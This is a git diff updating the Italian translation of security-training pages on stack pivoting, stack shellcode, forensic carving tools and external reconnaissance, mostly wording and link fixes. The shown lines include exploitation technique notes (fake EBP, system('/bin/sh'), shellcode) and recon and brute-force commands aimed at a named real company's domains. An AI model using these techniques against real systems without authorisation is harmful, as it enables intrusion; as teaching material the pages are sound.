-- 32 bit, no ASLR, doppio piccolo overflow, primo per sovrascrivere lo stack e ingrandire la dimensione del secondo overflow
+- 32 bit, no ASLR, doppio piccolo overflow, primo per traboccare lo stack e ingrandire la dimensione del secondo overflow
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 bit, relro, no canary, nx, no pie, stringa di formato per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win)
 - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
@@ -94,7 +94,7 @@ Lo script Python invia un messaggio accuratamente progettato che, quando elabora
 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
 - 64 bit, relro, no canary, nx, pie. Sovrascrittura parziale per chiamare la funzione win (ret2win)
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
-- arm64, PIE, fornisce un leak PIE la funzione win è in realtà 2 funzioni quindi gadget ROP che chiama 2 funzioni
+- arm64, PIE, fornisce un leak PIE, la funzione win è in realtà 2 funzioni quindi gadget ROP che chiama 2 funzioni
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
 - ARM64, off-by-one per chiamare una funzione win
 

src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -6,7 +6,7 @@
 
 Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del registro EBP e della sequenza di istruzioni **`leave; ret`**.
 
-Per ricordare, **`leave`** significa fondamentalmente:
+Come promemoria, **`leave`** significa fondamentalmente:
 ```
 mov       ebp, esp
 pop       ebp
@@ -18,7 +18,7 @@ E come se l'**EBP è nello stack** prima dell'EIP, è possibile controllarlo con
 
 Questa tecnica è particolarmente utile quando puoi **modificare il registro EBP ma non hai un modo diretto per cambiare il registro EIP**. Sfrutta il comportamento delle funzioni quando terminano l'esecuzione.
 
-Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area in memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione `pop`), puoi controllare indirettamente l'EIP. Quando `fvuln` restituisce, l'ESP è impostato su questa posizione creata, e l'operazione `pop` successiva diminuisce l'ESP di 4, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì.**\
+Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione `pop`), puoi controllare indirettamente l'EIP. Quando `fvuln` restituisce, l'ESP è impostato su questa posizione creata, e l'operazione `pop` successiva diminuisce l'ESP di 4, **facendolo puntare effettivamente a un indirizzo memorizzato dall'attaccante lì.**\
 Nota come **devi conoscere 2 indirizzi**: Quello dove andrà l'ESP, dove dovrai scrivere l'indirizzo a cui punta l'ESP.
 
 #### Costruzione dell'Exploit
@@ -30,7 +30,7 @@ Poi, devi conoscere l'indirizzo utilizzato da `ret` che **eseguirà codice arbit
 - Un indirizzo valido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
 - L'indirizzo di **`system()`** seguito da **4 byte spazzatura** e l'indirizzo di `"/bin/sh"` (x86 bits).
 - L'indirizzo di un gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito dal **shellcode** da eseguire.
-- Alcuna catena [**ROP**](../rop-return-oriented-programing/)
+- Alcuna catena [**ROP**](../rop-return-oriented-programing/index.html)
 
 Ricorda che prima di qualsiasi di questi indirizzi nella parte controllata della memoria, devono esserci **`4` byte** a causa della parte **`pop`** dell'istruzione `leave`. Sarebbe possibile abusare di questi 4B per impostare un **secondo fake EBP** e continuare a controllare l'esecuzione.
 
@@ -54,7 +54,7 @@ Ora, l'**`ESP`** è controllato puntando a un indirizzo desiderato e la prossima
 
 Fondamentalmente in questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
 
-Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/), ma più complesso senza apparenti vantaggi ma potrebbe essere interessante in alcuni casi limite.
+Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ma più complesso senza apparenti vantaggi ma potrebbe essere interessante in alcuni casi limite.
 
 Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con una **stack leak** per chiamare una funzione vincente. Questo è il payload finale dalla pagina:
 ```python
@@ -94,8 +94,8 @@ print(p.recvline())
 ```
 ## EBP potrebbe non essere utilizzato
 
-Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, l'**EBP non controlla mai l'ESP**, quindi, qualsiasi exploit che funziona controllando l'EBP fallirà fondamentalmente perché non ha alcun effetto reale.\
-Questo perché i **prologhi ed epiloghi cambiano** se il binario è ottimizzato.
+As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, il **EBP non controlla mai ESP**, quindi, qualsiasi exploit che funziona controllando EBP fallirà fondamentalmente perché non ha alcun effetto reale.\
+Questo è dovuto al fatto che i **prologhi ed epiloghi cambiano** se il binario è ottimizzato.
 
 - **Non ottimizzato:**
 ```bash
@@ -123,7 +123,7 @@ ret                 # return
 
 ### **`pop rsp`** gadget
 
-[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **`pop rsp` gadget** e c'è una **leak dallo stack**:
+[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **`pop rsp` gadget** e c'era una **leak dallo stack**:
 ```python
 # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
 # This version has added comments

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -24,7 +24,7 @@ printf("Returned safely\n");
 return 0;
 }
 ```
-Questo programma è vulnerabile a un overflow del buffer a causa dell'uso della funzione `gets()`.
+Questo programma è vulnerabile a un buffer overflow a causa dell'uso della funzione `gets()`.
 
 ### Compilazione
 
@@ -72,8 +72,8 @@ Il **NOP slide** (`asm('nop')`) è usato per aumentare la possibilità che l'ese
 
 ## Protezioni
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo dove la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo dove la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
 - [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protezione impedirebbe l'esecuzione del shellcode all'interno dello stack perché quella regione non sarà eseguibile.
 
 ## Altri Esempi & Riferimenti

src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md

@@ -4,7 +4,7 @@
 
 ## Carving & Recovery tools
 
-Altri strumenti in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 
 ### Autopsy
 
@@ -14,7 +14,7 @@ Lo strumento più comune utilizzato in forense per estrarre file da immagini è
 
 **Binwalk** è uno strumento per analizzare file binari per trovare contenuti incorporati. È installabile tramite `apt` e il suo sorgente è su [GitHub](https://github.com/ReFirmLabs/binwalk).
 
-**Comandi utili**:
+**Useful commands**:
 ```bash
 sudo apt install binwalk #Insllation
 binwalk file #Displays the embedded data in the given file
@@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
 ```
 ### Foremost
 
-Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se vuoi solo cercare alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati per impostazione predefinita.
+Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se desideri cercare alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati per impostazione predefinita.
 ```bash
 sudo apt-get install foremost
 foremost -v -i file.img -o output
@@ -44,7 +44,7 @@ Questo strumento può scansionare un'immagine e **estrarre pcaps** al suo intern
 ```
 bulk_extractor memory.img -o out_folder
 ```
-Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto (password?), **analizza** i **pacchetti** (leggi[ **Pcaps analysis**](../pcap-inspection/)), cerca **domini strani** (domini relativi a **malware** o **inesistenti**).
+Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto (password?), **analizza** i **pacchetti** (leggi[ **Pcaps analysis**](../pcap-inspection/index.html)), cerca **domini strani** (domini relativi a **malware** o **inesistenti**).
 
 ### PhotoRec
 
@@ -64,14 +64,14 @@ Controlla il [codice](https://code.google.com/archive/p/binvis/) e la [pagina we
 - Plots multipli per diversi punti di interesse
 - Focalizzazione su porzioni di un campione
 - **Visualizzazione di stringhe e risorse**, in eseguibili PE o ELF, ad esempio
-- Ottenere **pattern** per crittanalisi su file
+- Ottenere **pattern** per la crittoanalisi su file
 - **Identificare** algoritmi di packer o encoder
 - **Identificare** la steganografia tramite pattern
-- **Differenziazione** visiva dei binari
+- **Differenziazione** binaria visiva
 
 BinVis è un ottimo **punto di partenza per familiarizzare con un obiettivo sconosciuto** in uno scenario di black-boxing.
 
-## Strumenti di Data Carving Specifici
+## Strumenti specifici per il Data Carving
 
 ### FindAES
 

src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md

@@ -1,14 +1,14 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-# Strumenti di carving
+# Strumenti di Carving
 
 ## Autopsy
 
-Lo strumento più comune utilizzato in forense per estrarre file dalle immagini è [**Autopsy**](https://www.autopsy.com/download/). Scaricalo, installalo e fallo elaborare il file per trovare file "nascosti". Nota che Autopsy è progettato per supportare immagini disco e altri tipi di immagini, ma non file semplici.
+Lo strumento più comune utilizzato nella forense per estrarre file dalle immagini è [**Autopsy**](https://www.autopsy.com/download/). Scaricalo, installalo e fallo elaborare il file per trovare file "nascosti". Nota che Autopsy è progettato per supportare immagini di disco e altri tipi di immagini, ma non file semplici.
 
 ## Binwalk <a id="binwalk"></a>
 
-**Binwalk** è uno strumento per cercare file binari come immagini e file audio per file e dati incorporati. Può essere installato con `apt`, tuttavia la [sorgente](https://github.com/ReFirmLabs/binwalk) può essere trovata su github.  
+**Binwalk** è uno strumento per cercare file binari come immagini e file audio per file e dati incorporati. Può essere installato con `apt`, tuttavia il [sorgente](https://github.com/ReFirmLabs/binwalk) può essere trovato su github.  
 **Comandi utili**:
 ```bash
 sudo apt install binwalk #Insllation
@@ -18,7 +18,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
 ```
 ## Foremost
 
-Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se vuoi cercare solo alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati di default.
+Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se desideri cercare alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati di default.
 ```bash
 sudo apt-get install foremost
 foremost -v -i file.img -o output
@@ -39,7 +39,7 @@ Questo strumento può scansionare un'immagine e **estrarre pcaps** al suo intern
 ```text
 bulk_extractor memory.img -o out_folder
 ```
-Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto \(password?\), **analizza** i **pacchetti** \(leggi[ **analisi Pcaps**](../pcap-inspection/)\), cerca **domini strani** \(domini relativi a **malware** o **inesistenti**\).
+Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto \(password?\), **analizza** i **pacchetti** \(leggi[ **analisi Pcaps**](../pcap-inspection/index.html)\), cerca **domini strani** \(domini relativi a **malware** o **inesistenti**\).
 
 ## PhotoRec
 
@@ -53,7 +53,7 @@ Puoi trovarlo in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www
 
 ## FindAES
 
-Cerca le chiavi AES esaminando i loro programmi di chiave. In grado di trovare chiavi a 128, 192 e 256 bit, come quelle utilizzate da TrueCrypt e BitLocker.
+Cerca le chiavi AES cercando i loro programmi di chiave. In grado di trovare chiavi a 128, 192 e 256 bit, come quelle utilizzate da TrueCrypt e BitLocker.
 
 Scarica [qui](https://sourceforge.net/projects/findaes/).
 

src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md

@@ -2,9 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Strumenti di Carving & Recupero
+## Carving & Recovery tools
 
-Altri strumenti in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 
 ### Autopsy
 
@@ -14,7 +14,7 @@ Lo strumento più comune utilizzato in forense per estrarre file da immagini è
 
 **Binwalk** è uno strumento per analizzare file binari per trovare contenuti incorporati. È installabile tramite `apt` e il suo sorgente è su [GitHub](https://github.com/ReFirmLabs/binwalk).
 
-**Comandi utili**:
+**Useful commands**:
 ```bash
 sudo apt install binwalk #Insllation
 binwalk file #Displays the embedded data in the given file
@@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
 ```
 ### Foremost
 
-Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se vuoi solo cercare alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati per impostazione predefinita.
+Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se vuoi solo cercare alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati di default.
 ```bash
 sudo apt-get install foremost
 foremost -v -i file.img -o output
@@ -38,19 +38,19 @@ scalpel file.img -o output
 ```
 ### Bulk Extractor
 
-Questo strumento è incluso in kali ma puoi trovarlo qui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
+Questo strumento è incluso in Kali, ma puoi trovarlo qui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
 Questo strumento può scansionare un'immagine e **estrarre pcaps** al suo interno, **informazioni di rete (URL, domini, IP, MAC, email)** e altri **file**. Devi solo fare:
 ```
 bulk_extractor memory.img -o out_folder
 ```
-Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto (password?), **analizza** i **pacchetti** (leggi [**analisi Pcaps**](../pcap-inspection/)), cerca **domini strani** (domini relativi a **malware** o **inesistenti**).
+Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto (password?), **analizza** i **pacchetti** (leggi[ **Pcaps analysis**](../pcap-inspection/index.html)), cerca **domini strani** (domini relativi a **malware** o **inesistenti**).
 
 ### PhotoRec
 
 Puoi trovarlo in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
 
-È disponibile in versioni GUI e CLI. Puoi selezionare i **tipi di file** che vuoi che PhotoRec cerchi.
+Viene fornito con versioni GUI e CLI. Puoi selezionare i **tipi di file** che vuoi che PhotoRec cerchi.
 
 ![](<../../../images/image (242).png>)
 
@@ -64,7 +64,7 @@ Controlla il [codice](https://code.google.com/archive/p/binvis/) e la [pagina we
 - Plots multipli per diversi punti di interesse
 - Focalizzazione su porzioni di un campione
 - **Visualizzazione di stringhe e risorse**, in eseguibili PE o ELF, ad esempio
-- Ottenere **pattern** per crittanalisi su file
+- Ottenere **pattern** per crittoanalisi su file
 - **Identificare** algoritmi di packer o encoder
 - **Identificare** la steganografia tramite pattern
 - **Differenziazione** binaria visiva
@@ -75,13 +75,13 @@ BinVis è un ottimo **punto di partenza per familiarizzare con un obiettivo scon
 
 ### FindAES
 
-Cerca chiavi AES cercando i loro programmi di chiave. In grado di trovare chiavi da 128, 192 e 256 bit, come quelle utilizzate da TrueCrypt e BitLocker.
+Cerca chiavi AES cercando i loro programmi di chiave. In grado di trovare chiavi a 128, 192 e 256 bit, come quelle utilizzate da TrueCrypt e BitLocker.
 
 Scarica [qui](https://sourceforge.net/projects/findaes/).
 
 ## Strumenti complementari
 
-Puoi usare [**viu**](https://github.com/atanunq/viu) per vedere immagini dal terminale.\
+Puoi usare [**viu** ](https://github.com/atanunq/viu) per vedere immagini dal terminale.\
 Puoi usare lo strumento da riga di comando linux **pdftotext** per trasformare un pdf in testo e leggerlo.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -10,8 +10,8 @@ L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla societ
 
 1. Trovare le acquisizioni della società principale, questo ci darà le aziende all'interno dell'ambito.
 2. Trovare l'ASN (se presente) di ciascuna azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda.
-3. Utilizzare ricerche whois inverse per cercare altre voci (nomi di organizzazioni, domini...) correlate alla prima (questo può essere fatto ricorsivamente).
-4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto ricorsivamente).
+3. Utilizzare ricerche whois inverse per cercare altre voci (nomi delle organizzazioni, domini...) correlate alla prima (questo può essere fatto in modo ricorsivo).
+4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto in modo ricorsivo).
 
 ### **Acquisizioni**
 
@@ -28,7 +28,7 @@ Un **AS** consiste in **blocchi** di **indirizzi IP** che hanno una politica def
 
 È interessante scoprire se la **società ha assegnato qualche ASN** per trovare i suoi **intervalli IP.** Sarà interessante eseguire un **test di vulnerabilità** contro tutti gli **host** all'interno dell'**ambito** e **cercare domini** all'interno di questi IP.\
 Puoi **cercare** per nome dell'azienda, per **IP** o per **dominio** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\
-**A seconda della regione dell'azienda, questi link potrebbero essere utili per raccogliere ulteriori dati:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nord America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(America Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Comunque, probabilmente tutte le** informazioni utili **(intervalli IP e Whois)** appaiono già nel primo link.
+**A seconda della regione della società, questi link potrebbero essere utili per raccogliere ulteriori dati:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nord America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(America Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Comunque, probabilmente tutte le** informazioni utili **(intervalli IP e Whois)** appaiono già nel primo link.
 ```bash
 #You can try "automate" this with amass, but it's not very recommended
 amass intel -org tesla
@@ -52,7 +52,7 @@ bbot -t tesla.com -f subdomain-enum
 
 ```
 Puoi trovare gli intervalli IP di un'organizzazione anche utilizzando [http://asnlookup.com/](http://asnlookup.com) (ha un'API gratuita).\
-Puoi trovare l'IP e l'ASN di un dominio usando [http://ipv4info.com/](http://ipv4info.com).
+Puoi trovare l'IP e l'ASN di un dominio utilizzando [http://ipv4info.com/](http://ipv4info.com).
 
 ### **Cercare vulnerabilità**
 
@@ -82,7 +82,7 @@ Puoi anche utilizzare uno strumento online per queste informazioni: [http://ptra
 
 ### **Reverse Whois (loop)**
 
-All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **altri asset correlati all'azienda** se esegui **ricerche reverse whois per uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\
+All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **ulteriori asset correlati all'azienda** se esegui **ricerche reverse whois per uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\
 Puoi utilizzare strumenti online come:
 
 - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuito**
@@ -101,7 +101,7 @@ Puoi anche eseguire alcune scoperte automatiche di reverse whois con [amass](htt
 ### **Trackers**
 
 Se trovi lo **stesso ID dello stesso tracker** in 2 pagine diverse puoi supporre che **entrambe le pagine** siano **gestite dallo stesso team**.\
-Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su più pagine.
+Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su diverse pagine.
 
 Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altro:
 
@@ -126,7 +126,7 @@ Inoltre, puoi anche cercare tecnologie utilizzando l'hash della favicon come spi
 ```bash
 shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
 ```
-Questo è come puoi **calcolare l'hash del favicon** di un sito web:
+Questo è come puoi **calcolare l'hash del favicon** di un web:
 ```python
 import mmh3
 import requests
@@ -150,7 +150,7 @@ Cerca all'interno delle pagine web **stringhe che potrebbero essere condivise tr
 # /etc/crontab
 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
 ```
-per rinnovare tutti i certificati di dominio sul server. Questo significa che anche se il CA utilizzato per questo non imposta il tempo in cui è stato generato nel tempo di validità, è possibile **trovare domini appartenenti alla stessa azienda nei log di trasparenza dei certificati**.\
+per rinnovare tutti i certificati di dominio sul server. Questo significa che anche se la CA utilizzata per questo non imposta il tempo in cui è stato generato nel tempo di validità, è possibile **trovare domini appartenenti alla stessa azienda nei log di trasparenza dei certificati**.\
 Controlla questo [**writeup per ulteriori informazioni**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
 
 ### Informazioni DMARC Mail
@@ -159,7 +159,7 @@ Puoi utilizzare un sito web come [https://dmarc.live/info/google.com](https://dm
 
 ### **Takeover Passivo**
 
-Apparentemente è comune per le persone assegnare sottodomini a IP che appartengono a fornitori di cloud e a un certo punto **perdere quell'indirizzo IP ma dimenticare di rimuovere il record DNS**. Pertanto, semplicemente **creando una VM** in un cloud (come Digital Ocean) stai effettivamente **prendendo possesso di alcuni sottodomini**.
+Apparentemente è comune per le persone assegnare sottodomini a IP che appartengono a fornitori di cloud e a un certo punto **perdere quell'indirizzo IP ma dimenticare di rimuovere il record DNS**. Pertanto, semplicemente **creando una VM** in un cloud (come Digital Ocean) stai effettivamente **prendendo il controllo di alcuni sottodomini**.
 
 [**Questo post**](https://kmsec.uk/blog/passive-takeover/) spiega una storia al riguardo e propone uno script che **crea una VM in DigitalOcean**, **ottiene** l'**IPv4** della nuova macchina e **cerca in Virustotal i record di sottodominio** che puntano ad essa.
 
@@ -169,7 +169,7 @@ Apparentemente è comune per le persone assegnare sottodomini a IP che apparteng
 
 **Shodan**
 
-Come già sai il nome dell'organizzazione che possiede lo spazio IP. Puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
+Come già sai il nome dell'organizzazione proprietaria dello spazio IP. Puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
 
 Potresti accedere al **certificato TLS** della pagina web principale, ottenere il **nome dell'organizzazione** e poi cercare quel nome all'interno dei **certificati TLS** di tutte le pagine web conosciute da **shodan** con il filtro: `ssl:"Tesla Motors"` o utilizzare uno strumento come [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
 
@@ -201,7 +201,7 @@ dnsrecon -a -d tesla.com
 ```
 ### **OSINT**
 
-Il modo più veloce per ottenere molti subdomini è cercare in fonti esterne. Gli **strumenti** più utilizzati sono i seguenti (per risultati migliori configura le chiavi API):
+Il modo più veloce per ottenere molti sottodomini è cercare in fonti esterne. Gli **strumenti** più utilizzati sono i seguenti (per risultati migliori configura le chiavi API):
 
 - [**BBOT**](https://github.com/blacklanternsecurity/bbot)
 ```bash
@@ -258,7 +258,7 @@ Ci sono **altri strumenti/API interessanti** che, anche se non specializzati dir
 ## This is the API the crobat tool will use
 curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
 ```
-- [**API gratuita JLDC**](https://jldc.me/anubis/subdomains/google.com)
+- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com)
 ```bash
 curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
 ```
@@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
 ```
 puredns bruteforce all.txt domain.com
 ```
-- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilizza asyncio per forzare in modo asincrono i nomi di dominio.
+- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilizza asyncio per forzare in modo brutale i nomi di dominio in modo asincrono.
 ```
 aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
 ```
@@ -366,7 +366,7 @@ Dopo aver trovato i sottodomini utilizzando fonti aperte e brute-forcing, puoi g
 cat subdomains.txt | dnsgen -
 ```
 - [**goaltdns**](https://github.com/subfinder/goaltdns): Dati i domini e i sottodomini generare permutazioni.
-- Puoi ottenere le permutazioni di goaltdns **wordlist** [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
+- Puoi ottenere le permutazioni di goaltdns **wordlist** in [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
 ```bash
 goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
 ```
@@ -401,7 +401,7 @@ echo www | subzuf facebook.com
 ```
 ### **Flusso di lavoro per la scoperta di sottodomini**
 
-Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **Trickest workflows** così non devo lanciare manualmente un sacco di strumenti sul mio computer:
+Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **Trickest workflows** in modo da non dover avviare manualmente un sacco di strumenti sul mio computer:
 
 {{#ref}}
 https://trickest.com/blog/full-subdomain-discovery-using-workflow/
@@ -411,7 +411,7 @@ https://trickest.com/blog/full-subdomain-discovery-using-workflow/
 https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
 {{#endref}}
 
-### **VHosts / Host Virtuali**
+### **VHosts / Host virtuali**
 
 Se hai trovato un indirizzo IP contenente **una o più pagine web** appartenenti a sottodomini, potresti provare a **trovare altri sottodomini con siti in quell'IP** cercando in **fonti OSINT** per domini in un IP o **forzando i nomi di dominio VHost in quell'IP**.
 
@@ -446,19 +446,19 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
 ```
 ### **Buckets Brute Force**
 
-Mentre cerchi **sottodomini**, fai attenzione a vedere se sta **puntando** a qualche tipo di **bucket**, e in tal caso [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-Inoltre, poiché a questo punto conoscerai tutti i domini all'interno dell'ambito, prova a [**forzare i nomi dei bucket possibili e controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/).
+Mentre cerchi **sottodomini**, fai attenzione a vedere se sta **puntando** a qualche tipo di **bucket**, e in tal caso [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
+Inoltre, poiché a questo punto conoscerai tutti i domini all'interno dell'ambito, prova a [**forzare i nomi dei bucket possibili e controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
 ### **Monitorizzazione**
 
-Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monitorando i **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)fa.
+Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monitorando i **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)lo fa.
 
 ### **Cercare vulnerabilità**
 
